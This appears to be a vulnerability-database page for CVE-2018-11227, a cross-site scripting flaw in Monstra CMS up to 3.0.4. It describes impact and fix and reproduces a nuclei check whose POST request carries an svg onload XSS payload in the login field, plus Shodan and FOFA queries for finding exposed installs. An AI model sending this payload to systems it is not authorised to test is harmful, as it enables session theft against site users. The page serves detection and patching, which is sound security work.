Browse / CVEs / CVE-2018-11227
CVE-2018-11227· monstra / monstra cms· CWE-79
Monstra CMS <=3.0.4 - Cross-Site Scripting
Monstra CMS 3.0.4 and earlier contains a cross-site scripting vulnerability via index.php. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
Impact
Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
Fix
Upgrade Monstra CMS to a version higher than 3.0.4 or apply the official patch provided by the vendor.
How to confirm it
Send: POST /admin/index.php?id=pages
Positive when: contains "><svg/onload=alert(document.domain)>" and "Monstra" AND contains in header "text/html" AND status 200Run it with nuclei: nuclei -id CVE-2018-11227 -u <target>
The full check
id: CVE-2018-11227
info:
name: Monstra CMS <=3.0.4 - Cross-Site Scripting
author: ritikchaddha
severity: medium
description: |
Monstra CMS 3.0.4 and earlier contains a cross-site scripting vulnerability via index.php. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
impact: |
Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
remediation: |
Upgrade Monstra CMS to a version higher than 3.0.4 or apply the official patch provided by the vendor.
reference:
- https://github.com/monstra-cms/monstra/issues/438
- https://www.exploit-db.com/exploits/44646
- https://nvd.nist.gov/vuln/detail/CVE-2018-11227
- https://github.com/monstra-cms/monstra/issues
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2018-11227
cwe-id: CWE-79
epss-score: 0.04733
epss-percentile: 0.91927
cpe: cpe:2.3:a:monstra:monstra_cms:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: monstra
product: monstra_cms
shodan-query: http.favicon.hash:419828698
fofa-query: icon_hash=419828698
tags: cve,cve2018,xss,mostra,mostracms,cms,edb,monstra,vuln
http:
- raw:
- |
POST /admin/index.php?id=pages HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
login="><svg/onload=alert(document.domain)>&password=xxxxxx&login_submit=Log+In
matchers-condition: and
matchers:
- type: word
part: body
words:
- "><svg/onload=alert(document.domain)>"
- "Monstra"
case-insensitive: true
condition: and
- type: word
part: header
words:
- "text/html"
- type: status
status:
- 200References
- https://github.com/monstra-cms/monstra/issues/438
- https://www.exploit-db.com/exploits/44646
- https://nvd.nist.gov/vuln/detail/CVE-2018-11227
- https://github.com/monstra-cms/monstra/issues
- https://github.com/ARPSyndicate/kenzer-templates
Use this check only on systems you are authorised to test. Where the data comes from